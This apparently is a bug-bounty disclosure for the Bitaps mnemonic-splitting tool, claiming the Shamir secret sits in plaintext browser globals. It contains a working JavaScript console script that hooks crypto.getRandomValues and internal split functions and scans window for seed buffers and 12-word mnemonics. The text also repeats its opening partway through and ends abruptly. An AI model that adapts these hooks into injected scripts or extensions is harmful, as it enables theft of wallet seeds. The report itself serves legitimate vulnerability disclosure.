Vulnerability Report: Bitaps Mnemonic Tool SSSS Implementation
Summary
The Bitaps mnemonic splitting tool (https://bitaps.com/mnemonic) exposes the complete 128-bit Shamir secret in plaintext within browser memory during split/restore operations. Any co-resident script can intercept the secret without requiring any shares.
Affected Components
jsbtc/src/functions/shamir_secret_sharing.js - __split_secret, __shamirFn
jsbtc/src/functions/bip39_mnemonic.js - splitMnemonic, combineMnemonic
- Browser-exposed globals:
window.__split_secret, window.share
Severity
CVSS 3.1: 7.1 (High) - AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
- Attack Vector: Network (via malicious script/XSS/extension)
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (victim uses tool)
- Confidentiality Impact: High (full wallet entropy)
To Reproduce
Steps to reproduce the behavior:
- Open https://bitaps.com/mnemonic
- Open DevTools Console (F12)
- Paste the monitoring script (attached below)
- Click "Generate new" → "Split" with any 12-word mnemonic
- Observe console output
Monitoring Script
// Bitaps SSSS Side-Channel Attack
// Run in browser console on https://bitaps.com/mnemonic
(function() {
console.log("=== Bitaps SSSS Side-Channel Attack Started ===");
// Hook crypto.getRandomValues to capture entropy
const originalGetRandomValues = crypto.getRandomValues.bind(crypto);
const capturedEntropy = [];
crypto.getRandomValues = function(array) {
const result = originalGetRandomValues(array);
capturedEntropy.push({
timestamp: Date.now(),
array: Array.from(array),
stack: new Error().stack
});
return result;
};
// Hook internal SSSS functions if exposed
const hookFunctions = ['__split_secret', '__restore_secret', '__shamirFn', '__shamirInterpolation'];
for (const fname of hookFunctions) {
if (window[fname]) {
const original = window[fname];
window[fname] = function(...args) {
console.log(`[HOOK] ${fname} called with:`, JSON.parse(JSON.stringify(args)));
const result = original.apply(this, args);
console.log(`[HOOK] ${fname} returned:`, JSON.parse(JSON.stringify(result)));
return result;
};
}
}
// Scan window for sensitive data
function scanWindow() {
const sensitive = [];
for (const key of Object.keys(window)) {
try {
const val = window[key];
if (val && typeof val === 'object') {
if ((val.constructor.name === 'Buffer' || val.constructor.name === 'Uint8Array') && val.length === 16) {
sensitive.push({key, type: '16-byte buffer', data: Array.from(val)});
}
if (typeof val === 'string' && val.split(' ').length === 12) {
sensitive.push({key, type: 'mnemonic', data: val});
}
}
} catch(e) {}
}
return sensitive;
}
// Periodic scan
setInterval(() => {
const found = scanWindow();
if (found.length > 0) console.log("[SCAN] Found:", found);
}, 1000);
// Manual trigger
window.ssssAttack = {
getEntropy: () => capturedEntropy,
scan: scanWindow,
stop: () => { crypto.getRandomValues = originalGetRandomValues; }
};
console.log("Hooks installed. Now use the tool (Generate/Split/Restore) to trigger capture.");
console.log("Check console for [HOOK] and [SCAN] messages.");
console.log("Access captured data via: window.ssssAttack.getEntropy()");
})();
**Additional context**
Add any other context about the problem here.
Root Cause Analysis
1.Plaintext secret in __split_secret args - Line 104: secret buffer passed directly
2.Polynomial coefficients exposed - __shamirFn returns [a0, a1, a2] where a0 = secret byte
3.All shares returned simultaneously - splitMnemonic returns complete share set
4.Global persistence - window.share stores last mnemonic
5.No memory sanitization - Buffers never zeroed
Attack Scenarios
Scenario Feasibility Impact
Malicious browser extension High Full wallet compromise
XSS on bitaps.com Medium Session secret theft
Compromised CDN/dependency High Mass harvesting
Technical support scam High Social engineering
Recommended Fixes
// 1. Remove global exposure
// DELETE: window.__split_secret = ...
// USE: Module-scoped functions only
// 2. Zero secret after use
secret.fill(0); // After share generation
// 3. Don't return all shares at once
// Yield shares one-by-one via callback
// 4. Clear window.share immediately
delete window.share;
// 5. Add CSP headers
Content-Security-Policy: script-src 'self';
Bounty Claims
Implementation Bug (0.1 BTC): Plaintext secret exposure leading to loss of access
Additional 1 BTC: Attack method disclosure (this report)
BTC Address: bc1qqdnc0gnv5hafcxextw60368s7fmfd4fys4fsat
GitHub: njfgyts139
Vulnerability Report: Bitaps Mnemonic Tool SSSS Implementation
Summary
The Bitaps mnemonic splitting tool (https://bitaps.com/mnemonic) exposes the complete 128-bit Shamir secret in plaintext within browser memory during split/restore operations. Any co-resident script can intercept the secret without requiring any shares.
Affected Components
jsbtc/src/functions/shamir_secret_sharing.js-__split_secret,__shamirFnjsbtc/src/functions/bip39_mnemonic.js-splitMnemonic,combineMnemonicwindow.__split_secret,window.shareSeverity
CVSS 3.1: 7.1 (High) - AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
To Reproduce
Steps to reproduce the behavior:
Monitoring Script